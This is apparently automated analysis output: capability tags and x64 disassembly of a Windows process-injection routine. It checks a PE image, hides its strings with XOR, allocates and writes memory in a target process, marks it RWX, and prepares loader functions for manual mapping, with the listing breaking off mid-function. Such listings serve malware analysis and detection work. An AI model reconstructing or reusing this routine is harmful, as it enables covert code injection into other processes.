Function at 0x14007126c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xa10
mov rax, qword [0x1400de010]
xor rax, rsp
mov qword [rsp + 0xa08], rax
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x1c0], 0
mov qword [rsp + 0x178], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0xa28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400715c6
mov byte [rsp + 0x668], 0x68
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x669], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66a], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66b], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66c], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66d], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66e], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x66f], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x670], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x671], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x672], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x673], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x674], al
movsx eax, byte [rsp + 0x668]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Invalid_file_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x675], al
lea rax, [rsp + 0x676]
lea rax, [rsp + 0x676]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xb0], 0
jmp 0x14007151a
mov rax, qword [rsp + 0xb0]
inc rax
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0xd
jae 0x14007157e
mov rax, qword [rsp + 0xb0]
lea rax, [rsp + rax + 0x669]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x668]
xor eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0xb0]
lea rax, [rsp + rax + 0x669]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
mov cl, byte [rsp + 0x6d]
mov byte [rax], cl
jmp 0x140071507
mov eax, 0xd
imul rax, rax, 1
lea rax, [rsp + rax + 0x669]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov byte [rax], 0
lea rax, [rsp + 0x669]
mov qword [rsp + 0x208], rax
mov rcx, qword [rsp + 0x208]
call fcn.140005fa4
xor al, al
jmp 0x14007b523
mov rax, qword [rsp + 0xa28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xa28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
add rax, 0x18
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x78]
add rax, 4
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x1400719a5
mov byte [rsp + 0x690], 0x53
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x691], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x692], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x693], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x694], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x695], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x696], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x697], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x698], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x699], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69a], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69b], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69c], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69d], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69e], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x69f], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6a0], al
movsx eax, byte [rsp + 0x690]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Invalid_platform_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x6a1], al
lea rax, [rsp + 0x6a2]
lea rax, [rsp + 0x6a2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xb8], 0
jmp 0x1400718f9
mov rax, qword [rsp + 0xb8]
inc rax
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0x11
jae 0x14007195d
mov rax, qword [rsp + 0xb8]
lea rax, [rsp + rax + 0x691]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x690]
xor eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0xb8]
lea rax, [rsp + rax + 0x691]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x218]
mov cl, byte [rsp + 0x6e]
mov byte [rax], cl
jmp 0x1400718e6
mov eax, 0x11
imul rax, rax, 1
lea rax, [rsp + rax + 0x691]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov byte [rax], 0
lea rax, [rsp + 0x691]
mov qword [rsp + 0x228], rax
mov rcx, qword [rsp + 0x228]
call fcn.140005fa4
xor al, al
jmp 0x14007b523
mov byte [rsp + 0x658], 0x4b
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x659], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65a], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65b], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65c], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65d], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65e], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x65f], al
movsx eax, byte [rsp + 0x658]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.File_ok_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x660], al
lea rax, [rsp + 0x661]
lea rax, [rsp + 0x661]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xa0], 0
jmp 0x140071b22
mov rax, qword [rsp + 0xa0]
inc rax
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 8
jae 0x140071b86
mov rax, qword [rsp + 0xa0]
lea rax, [rsp + rax + 0x659]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x658]
xor eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xa0]
lea rax, [rsp + rax + 0x659]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov cl, byte [rsp + 0x50]
mov byte [rax], cl
jmp 0x140071b0f
mov eax, 8
imul rax, rax, 1
lea rax, [rsp + rax + 0x659]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
mov byte [rax], 0
lea rax, [rsp + 0x659]
mov qword [rsp + 0x248], rax
mov rcx, qword [rsp + 0x248]
call fcn.140005fa4
mov rax, qword [rsp + 0x1c0]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14007249b
mov byte [rsp + 0x998], 0x48
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x999], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99a], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99b], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99c], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99d], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99e], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99f], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a0], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a1], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a2], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a3], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a4], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a5], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a6], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a7], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a8], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a9], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9aa], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ab], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ac], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ad], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ae], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9af], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b0], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b1], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b2], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b3], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b4], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b5], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b6], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b7], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b8], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9b9], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ba], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9bb], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9bc], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9bd], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9be], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9bf], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c0], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c1], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c2], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c3], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c4], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c5], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c6], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c7], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x2f
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c8], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x30
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9c9], al
movsx eax, byte [rsp + 0x998]
mov ecx, 1
imul rcx, rcx, 0x31
lea rdx, str.Target_process_memory_allocation_failed__ex__0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9ca], al
lea rax, [rsp + 0x9cb]
lea rax, [rsp + 0x9cb]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0xc0], 0
jmp 0x1400723e7
mov rax, qword [rsp + 0xc0]
inc rax
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0x32
jae 0x14007244b
mov rax, qword [rsp + 0xc0]
lea rax, [rsp + rax + 0x999]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x998]
xor eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0xc0]
lea rax, [rsp + rax + 0x999]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x258]
mov cl, byte [rsp + 0x51]
mov byte [rax], cl
jmp 0x1400723d4
mov eax, 0x32
imul rax, rax, 1
lea rax, [rsp + rax + 0x999]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x260]
mov byte [rax], 0
lea rax, [rsp + 0x999]
mov qword [rsp + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [rsp + 0x268]
call fcn.140005fa4
xor al, al
jmp 0x14007b523
mov dword [rsp + 0x1b8], 0
mov rax, qword [rsp + 0x1c0]
mov eax, dword [rax + 0x38]
lea rcx, [rsp + 0x1b8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0x5c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x5c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x5c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x5d8], rax
mov eax, dword [rsp + 0xa58]
mov dword [rsp + 0x5e8], eax
mov rax, qword [rsp + 0xa60]
mov qword [rsp + 0x5f0], rax
movzx eax, byte [rsp + 0xa50]
mov dword [rsp + 0x5f8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0xa28]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140072b07
mov byte [rsp + 0x7d8], 0x59
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7d9], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Cant_write_file_header_0x_X_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7da], al
movsx eax, byte [rsp + 0x7d8]
mov ecx, 1
imul rcx, rcx, 2
